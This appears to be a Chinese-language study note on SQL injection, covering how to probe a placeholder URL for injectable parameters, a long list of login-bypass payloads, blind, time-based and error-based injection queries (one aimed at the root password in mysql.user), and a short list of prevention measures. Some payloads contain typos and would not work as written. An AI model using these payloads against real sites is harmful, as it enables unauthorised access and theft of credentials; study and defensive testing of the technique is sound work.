SQL注入笔记:
寻找注入点:
访问下面的连接来观察页面的返回信息:
(1)http://xxx.com/jyh.php?id=9
(2)http://xxx.com/jyh.php?id=9’ and ‘1’='1
(3)http://xxx.com/jyh.php?id=9 and ‘1’='2
产生的情况可能有如下几种:
**页面没有变化:**访问三个链接,显示的页面没有什么不同。这种情况说明后台针对此查询点的过滤比较严格,是否存在SQL注入漏洞还需要进行后续测试。
**页面中少了部分内容:**如访问前两个链接正常,第三个页面里有明显的内容缺失,则基本可以确定有漏洞存在。接下来就需要检测是否有union显示位,如果没有,也可尝试进行bool注入
**错误回显:**如果访问第三个链接后出现数据库报错信息,那么可以判定当前查询点存在注入,用标准的回显注入法即可实现SQL注入攻击
**跳转到默认界面:**如果第一个链接显示正常,第二,三个链接直接跳转到首页或奇特默认页面,那么这可能是后台有逻辑验证,或者是有在线防护系统或防护软件提供实时保护。之后可尝试绕过防护工具的思路(大小写混用,编码等)。
直接关闭连接:如果在访问上述第二,三个链接时出现访问失败,那么这种情况通常为防护类工具直接开启在线阻断导致,后续可利用编码,换行等方式尝试绕过。
万能密码:
逻辑运算优先级:
=>and>or
万能密码列表:
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
exists 猜测是否存在字段或者数据库名,表名
where cat=1 and exists(select * from level_test)
123‘ or 1=(select count(1) from tb_users)-- 会查询不出数据,并且不会报错,通过这样可以判断是否存在表tb_users
防止sql注入:
归纳一下,主要有以下几点:
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。
SQL盲注:
盲注语句:
判断当前主句库版本:
left(version().1)=5#
从左判断当前版本的第一位是否等于5.
判断数据库密码:
AND ascii(substring(select password from users where id=1),1,1))=49
利用时间延迟判断正确与否:
union select if(substring(password,1,1)=‘a’,benchmark(100000,SHA1(1)),0) user,password from mysql.user where user=‘root’
报错注入:extractvalue、updatexml报错原理
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml
名称 描述
ExtractValue() 使用XPath表示法从XML字符串中提取值
UpdateXML() 返回替换的XML片段
extractvlaue(‘abd’,concat(’~’,version())) #